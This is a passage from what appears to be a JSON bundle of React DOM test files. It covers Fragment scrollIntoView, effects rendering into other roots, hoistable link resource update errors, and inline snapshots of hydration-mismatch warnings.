enableFragmentRefsScrollIntoView\n    it('scrollIntoView works on text-only fragment using Range API', async () => {\n      const restoreRange = mockRangeClientRects([\n        {x: 100, y: 200, width: 80, height: 16},\n      ]);\n      const fragmentRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() =>\n        root.render(\n          <div>\n            <Fragment ref={fragmentRef}>Text content</Fragment>\n          </div>,\n        ),\n      );\n\n      // Mock window.scrollTo to verify it was called\n      const originalScrollTo = window.scrollTo;\n      const scrollToMock = jest.fn();\n      window.scrollTo = scrollToMock;\n\n      fragmentRef.current.scrollIntoView();\n\n      // Should have called window.scrollTo for the text node\n      expect(scrollToMock).toHaveBeenCalled();\n\n      window.scrollTo = originalScrollTo;\n      restoreRange();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMHooks-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet act;\nlet waitForAll;\n\ndescribe('ReactDOMHooks', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    waitForAll = require('internal-test-utils').waitForAll;\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  // @gate !disableLegacyMode\n  it('can ReactDOM.render() from useEffect', async () => {\n    const container2 = document.createElement('div');\n    const container3 = document.createElement('div');\n\n    function Example1({n}) {\n      React.useEffect(() => {\n        ReactDOM.render(<Example2 n={n} />, container2);\n      });\n      return 1 * n;\n    }\n\n    function Example2({n}) {\n      React.useEffect(() => {\n        ReactDOM.render(<Example3 n={n} />, container3);\n      });\n      return 2 * n;\n    }\n\n    function Example3({n}) {\n      return 3 * n;\n    }\n\n    ReactDOM.render(<Example1 n={1} />, container);\n    expect(container.textContent).toBe('1');\n    expect(container2.textContent).toBe('');\n    expect(container3.textContent).toBe('');\n    await waitForAll([]);\n    expect(container.textContent).toBe('1');\n    expect(container2.textContent).toBe('2');\n    expect(container3.textContent).toBe('3');\n\n    ReactDOM.render(<Example1 n={2} />, container);\n    expect(container.textContent).toBe('2');\n    expect(container2.textContent).toBe('2'); // Not flushed yet\n    expect(container3.textContent).toBe('3'); // Not flushed yet\n    await waitForAll([]);\n    expect(container.textContent).toBe('2');\n    expect(container2.textContent).toBe('4');\n    expect(container3.textContent).toBe('6');\n  });\n\n  it('can render() from useEffect', async () => {\n    const container2 = document.createElement('div');\n    const container3 = document.createElement('div');\n\n    const root1 = ReactDOMClient.createRoot(container);\n    const root2 = ReactDOMClient.createRoot(container2);\n    const root3 = ReactDOMClient.createRoot(container3);\n\n    function Example1({n}) {\n      React.useEffect(() => {\n        root2.render(<Example2 n={n} />);\n      });\n      return 1 * n;\n    }\n\n    function Example2({n}) {\n      React.useEffect(() => {\n        root3.render(<Example3 n={n} />);\n      });\n      return 2 * n;\n    }\n\n    function Example3({n}) {\n      return 3 * n;\n    }\n\n    await act(() => {\n      root1.render(<Example1 n={1} />);\n    });\n    await waitForAll([]);\n    expect(container.textContent).toBe('1');\n    expect(container2.textContent).toBe('2');\n    expect(container3.textContent).toBe('3');\n\n    await act(() => {\n      root1.render(<Example1 n={2} />);\n    });\n    await waitForAll([]);\n    expect(container.textContent).toBe('2');\n    expect(container2.textContent).toBe('4');\n    expect(container3.textContent).toBe('6');\n  });\n\n  // @gate !disableLegacyMode\n  it('should not bail out when an update is scheduled from within an event handler', () => {\n    const {createRef, useCallback, useState} = React;\n\n    const Example = ({inputRef, labelRef}) => {\n      const [text, setText] = useState('');\n      const handleInput = useCallback(event => {\n        setText(event.target.value);\n      });\n\n      return (\n        <>\n          <input ref={inputRef} onInput={handleInput} />\n          <label ref={labelRef}>{text}</label>\n        </>\n      );\n    };\n\n    const inputRef = createRef();\n    const labelRef = createRef();\n\n    ReactDOM.render(\n      <Example inputRef={inputRef} labelRef={labelRef} />,\n      container,\n    );\n\n    inputRef.current.value = 'abc';\n    inputRef.current.dispatchEvent(\n      new Event('input', {bubbles: true, cancelable: true}),\n    );\n\n    expect(labelRef.current.innerHTML).toBe('abc');\n  });\n\n  it('should not bail out when an update is scheduled from within an event handler in Concurrent Mode', async () => {\n    const {createRef, useCallback, useState} = React;\n\n    const Example = ({inputRef, labelRef}) => {\n      const [text, setText] = useState('');\n      const handleInput = useCallback(event => {\n        setText(event.target.value);\n      });\n\n      return (\n        <>\n          <input ref={inputRef} onInput={handleInput} />\n          <label ref={labelRef}>{text}</label>\n        </>\n      );\n    };\n\n    const inputRef = createRef();\n    const labelRef = createRef();\n\n    const root = ReactDOMClient.createRoot(container);\n    root.render(<Example inputRef={inputRef} labelRef={labelRef} />);\n\n    await waitForAll([]);\n\n    inputRef.current.value = 'abc';\n    await act(() => {\n      inputRef.current.dispatchEvent(\n        new Event('input', {\n          bubbles: true,\n          cancelable: true,\n        }),\n      );\n    });\n\n    expect(labelRef.current.innerHTML).toBe('abc');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMHostComponentTransitions-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet JSDOM;\nlet React;\nlet ReactDOMClient;\nlet container;\nlet waitForAll;\n\ndescribe('ReactDOM HostSingleton', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    JSDOM = require('jsdom').JSDOM;\n    // Test Environment\n    const jsdom = new JSDOM(\n      '<!DOCTYPE html><html><head></head><body><div id=\"container\">',\n      {\n        runScripts: 'dangerously',\n      },\n    );\n    global.window = jsdom.window;\n    global.document = jsdom.window.document;\n    container = global.document.getElementById('container');\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n  });\n\n  it('errors when a hoistable component becomes a Resource', async () => {\n    const errors = [];\n    function onError(e) {\n      errors.push(e.message);\n    }\n    const root = ReactDOMClient.createRoot(container, {\n      onUncaughtError: onError,\n    });\n\n    root.render(\n      <div>\n        <link rel=\"preload\" href=\"bar\" as=\"style\" />\n      </div>,\n    );\n    await waitForAll([]);\n\n    root.render(\n      <div>\n        <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n      </div>,\n    );\n    await waitForAll([]);\n    if (__DEV__) {\n      expect(errors).toEqual([\n        `Expected <link> not to update to be updated to a stylesheet with precedence. Check the \\`rel\\`, \\`href\\`, and \\`precedence\\` props of this component. Alternatively, check whether two different <link> components render in the same slot or share the same key.\n\n  - <link rel=\\\"preload\\\" href=\\\"bar\\\" ... />\n  + <link rel=\\\"stylesheet\\\" href=\\\"bar\\\" precedence=\\\"default\\\" />`,\n      ]);\n    } else {\n      expect(errors).toEqual([\n        'Expected <link> not to update to be updated to a stylesheet with precedence. Check the `rel`, `href`, and `precedence` props of this component. Alternatively, check whether two different <link> components render in the same slot or share the same key.',\n      ]);\n    }\n  });\n\n  it('errors when a hoistable Resource becomes an instance', async () => {\n    const errors = [];\n    function onError(e) {\n      errors.push(e.message);\n    }\n    const root = ReactDOMClient.createRoot(container, {\n      onUncaughtError: onError,\n    });\n\n    root.render(\n      <div>\n        <link rel=\"stylesheet\" href=\"bar\" precedence=\"default\" />\n      </div>,\n    );\n    await waitForAll([]);\n    const event = new window.Event('load');\n    const preloads = document.querySelectorAll('link[rel=\"preload\"]');\n    for (let i = 0; i < preloads.length; i++) {\n      const node = preloads[i];\n      node.dispatchEvent(event);\n    }\n    const stylesheets = document.querySelectorAll('link[rel=\"preload\"]');\n    for (let i = 0; i < stylesheets.length; i++) {\n      const node = stylesheets[i];\n      node.dispatchEvent(event);\n    }\n\n    root.render(\n      <div>\n        <link rel=\"foo\" href=\"bar\" />\n      </div>,\n    );\n    await waitForAll([]);\n    if (__DEV__) {\n      expect(errors).toEqual([\n        `Expected stylesheet with precedence to not be updated to a different kind of <link>. Check the \\`rel\\`, \\`href\\`, and \\`precedence\\` props of this component. Alternatively, check whether two different <link> components render in the same slot or share the same key.\n\n  - <link rel=\\\"stylesheet\\\" href=\\\"bar\\\" precedence=\\\"default\\\" />\n  + <link rel=\\\"foo\\\" href=\\\"bar\\\" />`,\n      ]);\n    } else {\n      expect(errors).toEqual([\n        'Expected stylesheet with precedence to not be updated to a different kind of <link>. Check the `rel`, `href`, and `precedence` props of this component. Alternatively, check whether two different <link> components render in the same slot or share the same key.',\n      ]);\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMHydrationDiff-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet act;\n\nconst util = require('util');\nconst realConsoleError = console.error;\n\nfunction errorHandler() {\n  // forward to console.error but don't fail the tests\n}\n\ndescribe('ReactDOMServerHydration', () => {\n  let container;\n  let ownerStacks;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = React.act;\n\n    window.addEventListener('error', errorHandler);\n    ownerStacks = [];\n    console.error = jest.fn(() => {\n      const ownerStack = React.captureOwnerStack();\n      if (typeof ownerStack === 'string') {\n        ownerStacks.push(ownerStack === '' ? ' <empty>' : ownerStack);\n      } else {\n        ownerStacks.push(' ' + String(ownerStack));\n      }\n    });\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    window.removeEventListener('error', errorHandler);\n    document.body.removeChild(container);\n    console.error = realConsoleError;\n  });\n\n  function normalizeCodeLocInfo(str) {\n    return typeof str === 'string'\n      ? str.replace(/\\n +(?:at|in) ([\\S]+)[^\\n]*/g, function (m, name) {\n          return '\\n    in ' + name + ' (at **)';\n        })\n      : str;\n  }\n\n  function formatMessage(args, index) {\n    const ownerStack = ownerStacks[index];\n\n    if (ownerStack === undefined) {\n      throw new Error(\n        'Expected an owner stack for message ' +\n          index +\n          ':\\n' +\n          util.format(...args),\n      );\n    }\n\n    const [format, ...rest] = args;\n    if (format instanceof Error) {\n      if (format.cause instanceof Error) {\n        return (\n          'Caught [' +\n          format.message +\n          ']\\n  Cause [' +\n          format.cause.message +\n          ']\\n  Owner Stack:' +\n          normalizeCodeLocInfo(ownerStack)\n        );\n      }\n      return (\n        'Caught [' +\n        format.message +\n        ']\\n  Owner Stack:' +\n        normalizeCodeLocInfo(ownerStack)\n      );\n    }\n    rest[rest.length - 1] = normalizeCodeLocInfo(rest[rest.length - 1]);\n    return (\n      util.format(format, ...rest) +\n      '\\n  Owner Stack:' +\n      normalizeCodeLocInfo(ownerStack)\n    );\n  }\n\n  function formatConsoleErrors() {\n    return console.error.mock.calls.map(formatMessage).filter(Boolean);\n  }\n\n  function testMismatch(Mismatch) {\n    const htmlString = ReactDOMServer.renderToString(\n      <Mismatch isClient={false} />,\n    );\n    container.innerHTML = htmlString;\n    act(() => {\n      ReactDOMClient.hydrateRoot(container, <Mismatch isClient={true} />);\n    });\n    return formatConsoleErrors();\n  }\n\n  describe('text mismatch', () => {\n    // @gate __DEV__\n    it('warns when client and server render different text', () => {\n      function Mismatch({isClient}) {\n        return (\n          <div className=\"parent\">\n            <main className=\"child\">{isClient ? 'client' : 'server'}</main>\n          </div>\n        );\n      }\n      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered text didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n                <main className=\"child\">\n          +       client\n          -       server\n          ]\n            Owner Stack:\n              in main (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n    });\n\n    // @gate __DEV__\n    it('warns when escaping on a checksum mismatch', () => {\n      function Mismatch({isClient}) {\n        if (isClient) {\n          return (\n            <div>This markup contains an nbsp entity: &nbsp; client text</div>\n          );\n        }\n        return (\n          <div>This markup contains an nbsp entity: &nbsp; server text</div>\n        );\n      }\n\n      /* eslint-disable no-irregular-whitespace */\n      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered text didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div>\n          +     This markup contains an nbsp entity:   client text\n          -     This markup contains an nbsp entity:   server text\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      /* eslint-enable no-irregular-whitespace */\n    });\n\n    // @gate __DEV__\n    it('warns when client and server render different html', () => {\n      function Mismatch({isClient}) {\n        return (\n          <div className=\"parent\">\n            <main\n              className=\"child\"\n              dangerouslySetInnerHTML={{\n                __html: isClient\n                  ? '<span>client</span>'\n                  : '<span>server</span>',\n              }}\n            />\n          </div>\n        );\n      }\n      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n        [\n          \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n        - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n        - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n        - Date formatting in a user's locale which doesn't match the server.\n        - External changing data without sending a snapshot of it along with the HTML.\n        - Invalid HTML tag nesting.\n\n        It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n        https://react.dev/link/hydration-mismatch\n\n          <Mismatch isClient={true}>\n            <div className=\"parent\">\n              <main\n                className=\"child\"\n                dangerouslySetInnerHTML={{\n        +         __html: \"<span>client</span>\"\n        -         __html: \"<span>server</span>\"\n                }}\n              >\n\n          Owner Stack:\n            in main (at **)\n            in Mismatch (at **)\",\n        ]\n      `);\n    });\n  });\n\n  describe('attribute mismatch', () => {\n    // @gate __DEV__\n    it('warns when client and server render different attributes', () => {\n      function Mismatch({isClient}) {\n        return (\n          <div className=\"parent\">\n            <main\n              className={isClient ? 'child client' : 'child server'}\n              dir={isClient ? 'ltr' : 'rtl'}\n            />\n          </div>\n        );\n      }\n      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n        [\n          \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n        - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n        - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n        - Date formatting in a user's locale which doesn't match the server.\n        - External changing data without sending a snapshot of it along with the HTML.\n        - Invalid HTML tag nesting.\n\n        It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n        https://react.dev/link/hydration-mismatch\n\n          <Mismatch isClient={true}>\n            <div className=\"parent\">\n              <main\n        +       className=\"child client\"\n        -       className=\"child server\"\n        +       dir=\"ltr\"\n        -       dir=\"rtl\"\n              >\n\n          Owner Stack:\n            in main (at **)\n            in Mismatch (at **)\",\n        ]\n      `);\n    });\n\n    // @gate __DEV__\n    it('warns when client renders extra attributes', () => {\n      function Mismatch({isClient}) {\n        return (\n          <div className=\"parent\">\n            <main\n              className=\"child\"\n              tabIndex={isClient ? 1 : null}\n              dir={isClient ? 'ltr' : null}\n            />\n          </div>\n        );\n      }\n      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n        [\n          \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n        - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n        - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n        - Date formatting in a user's locale which doesn't match the server.\n        - External changing data without sending a snapshot of it along with the HTML.\n        - Invalid HTML tag nesting.\n\n        It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n        https://react.dev/link/hydration-mismatch\n\n          <Mismatch isClient={true}>\n            <div className=\"parent\">\n              <main\n                className=\"child\"\n        +       tabIndex={1}\n        -       tabIndex={null}\n        +       dir=\"ltr\"\n        -       dir={null}\n              >\n\n          Owner Stack:\n            in main (at **)\n            in Mismatch (at **)\",\n        ]\n      `);\n    });\n\n    // @gate __DEV__\n    it('warns when server renders extra attributes', () => {\n      function Mismatch({isClient}) {\n        return (\n          <div className=\"parent\">\n            <main\n              className=\"child\"\n              tabIndex={isClient ? null : 1}\n              dir={isClient ? null : 'rtl'}\n            />\n          </div>\n        );\n      }\n      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n        [\n          \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n        - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n        - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n        - Date formatting in a user's locale which doesn't match the server.\n        - External changing data without sending a snapshot of it along with the HTML.\n        - Invalid HTML tag nesting.\n\n        It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n        https://react.dev/link/hydration-mismatch\n\n          <Mismatch isClient={true}>\n            <div className=\"parent\">\n              <main\n                className=\"child\"\n        +       tabIndex={null}\n        -       tabIndex=\"1\"\n        +       dir={null}\n        -       dir=\"rtl\"\n              >\n\n          Owner Stack:\n            in main (at **)\n            in Mismatch (at **)\",\n        ]\n      `);\n    });\n\n    // @gate __DEV__\n    it('warns when both client and server render extra attributes', () => {\n      function Mismatch({isClient}) {\n        return (\n          <div className=\"parent\">\n            <main\n              className=\"child\"\n              tabIndex={isClient ? 1 : null}\n              dir={isClient ? null : 'rtl'}\n            />\n          </div>\n        );\n      }\n      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n        [\n          \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n        - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n        - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n        - Date formatting in a user's locale which doesn't match the server.\n        - External changing data without sending a snapshot of it along with the HTML.\n        - Invalid HTML tag nesting.\n\n        It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n        https://react.dev/link/hydration-mismatch\n\n          <Mismatch isClient={true}>\n            <div className=\"parent\">\n              <main\n                className=\"child\"\n        +       tabIndex={1}\n        -       tabIndex={null}\n        +       dir={null}\n        -       dir=\"rtl\"\n              >\n\n          Owner Stack:\n            in main (at **)\n            in Mismatch (at **)\",\n        ]\n      `);\n    });\n\n    // @gate __DEV__\n    it('warns when client and server render different styles', () => {\n      function Mismatch({isClient}) {\n        return (\n          <div className=\"parent\">\n            <main\n              className=\"child\"\n              style={{\n                opacity: isClient ? 1 : 0,\n              }}\n            />\n          </div>\n        );\n      }\n      expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n        [\n          \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n        - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n        - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n        - Date formatting in a user's locale which doesn't match the server.\n        - External changing data without sending a snapshot of it along with the HTML.\n        - Invalid HTML tag nesting.\n\n        It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n        https://react.dev/link/hydration-mismatch\n\n          <Mismatch isClient={true}>\n            <div className=\"parent\">\n              <main\n                className=\"child\"\n        +       style={{opacity:1}}\n        -       style={{opacity:\"0\"}}\n              >\n\n          Owner Stack:\n            in main (at **)\n            in Mismatch (at **)\",\n        ]\n      `);\n    });\n\n    // @gate __DEV__\n    it('picks the DFS-first Fiber as the error Owner', () => {\n      function LeftMismatch({isClient}) {\n        return <div className={isClient ? 'client' : 'server'} />;\n      }\n\n      function LeftIndirection({isClient}) {\n        return <LeftMismatch isClient={isClient} />;\n      }\n\n      function MiddleMismatch({isClient}) {\n        return <span className={isClient ? 'client' : 'server'} />;\n      }\n\n      function RightMisMatch({isClient}) {\n        return <p className={isClient ? 'client' : 'server'} />;\n      }\n\n      function App({isClient}) {\n        return (\n          <>\n            <LeftIndirection isClient={isClient} />\n            <MiddleMismatch isClient={isClient} />\n            <RightMisMatch isClient={isClient} />\n          </>\n        );\n      }\n      expect(testMismatch(App)).toMatchInlineSnapshot(`\n        [\n          \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. This won't be patched up. This can happen if a SSR-ed Client Component used:\n\n        - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n        - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n        - Date formatting in a user's locale which doesn't match the server.\n        - External changing data without sending a snapshot of it along with the HTML.\n        - Invalid HTML tag nesting.\n\n        It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n        https://react.dev/link/hydration-mismatch\n\n          <App isClient={true}>\n            <LeftIndirection isClient={true}>\n              <LeftMismatch isClient={true}>\n                <div\n        +         className=\"client\"\n        -         className=\"server\"\n                >\n            <MiddleMismatch isClient={true}>\n              <span\n        +       className=\"client\"\n        -       className=\"server\"\n              >\n            <RightMisMatch isClient={true}>\n              <p\n        +       className=\"client\"\n        -       className=\"server\"\n              >\n\n          Owner Stack:\n            in div (at **)\n            in LeftMismatch (at **)\n            in LeftIndirection (at **)\n            in App (at **)\",\n        ]\n      `);\n    });\n  });\n\n  describe('extra nodes on the client', () => {\n    describe('extra elements on the client', () => {\n      // @gate __DEV__\n      it('warns when client renders an extra element as only child', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {isClient && <main className=\"only\" />}\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          +     <main className=\"only\">\n          ]\n            Owner Stack:\n              in main (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when client renders an extra element in the beginning', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {isClient && <header className=\"1\" />}\n              <main className=\"2\" />\n              <footer className=\"3\" />\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n          +     <header className=\"1\">\n          -     <main className=\"2\">\n                ...\n          ]\n            Owner Stack:\n              in header (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when client renders an extra element in the middle', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <header className=\"1\" />\n              {isClient && <main className=\"2\" />}\n              <footer className=\"3\" />\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n                <header>\n          +     <main className=\"2\">\n          -     <footer className=\"3\">\n                ...\n          ]\n            Owner Stack:\n              in main (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when client renders an extra element in the end', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <header className=\"1\" />\n              <main className=\"2\" />\n              {isClient && <footer className=\"3\" />}\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n                <header>\n                <main>\n          +     <footer className=\"3\">\n          ]\n            Owner Stack:\n              in footer (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n    });\n\n    describe('extra text nodes on the client', () => {\n      // @gate __DEV__\n      it('warns when client renders an extra text node as only child', () => {\n        function Mismatch({isClient}) {\n          return <div className=\"parent\">{isClient && 'only'}</div>;\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n            [\n              \"Caught [Hydration failed because the server rendered text didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n            - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n            - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n            - Date formatting in a user's locale which doesn't match the server.\n            - External changing data without sending a snapshot of it along with the HTML.\n            - Invalid HTML tag nesting.\n\n            It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n            https://react.dev/link/hydration-mismatch\n\n              <Mismatch isClient={true}>\n                <div className=\"parent\">\n            +     only\n            -     \n            ]\n              Owner Stack:\n                in div (at **)\n                in Mismatch (at **)\",\n            ]\n          `);\n      });\n\n      // @gate __DEV__\n      it('warns when client renders an extra text node in the beginning', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              <header className=\"1\" />\n              {isClient && 'second'}\n              <footer className=\"3\" />\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or \\`Math.random()\\` which changes each time it's called.\n          - Date formatting in a user's locale which doesn't match the server.\n          - External changing data without sending a snapshot of it along with the HTML.\n          - Invalid HTML tag nesting.\n\n          It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\n\n          https://react.dev/link/hydration-mismatch\n\n            <Mismatch isClient={true}>\n              <div className=\"parent\">\n                <header>\n          +     second\n          -     <footer className=\"3\">\n                ...\n          ]\n            Owner Stack:\n              in div (at **)\n              in Mismatch (at **)\",\n          ]\n        `);\n      });\n\n      // @gate __DEV__\n      it('warns when client renders an extra text node in the middle', () => {\n        function Mismatch({isClient}) {\n          return (\n            <div className=\"parent\">\n              {isClient && 'first'}\n              <main className=\"2\" />\n              <footer className=\"3\" />\n            </div>\n          );\n        }\n        expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`\n          [\n            \"Caught [Hydration failed because the server rendered HTML didn't match the client. As a result this tree will be regenerated on the client. This can happen if a SSR-ed Client Component used:\n\n          - A server/client branch \\`if (typeof window !== 'undefined')\\`.\n          - Variable input such as \\`Date.now()\\` or 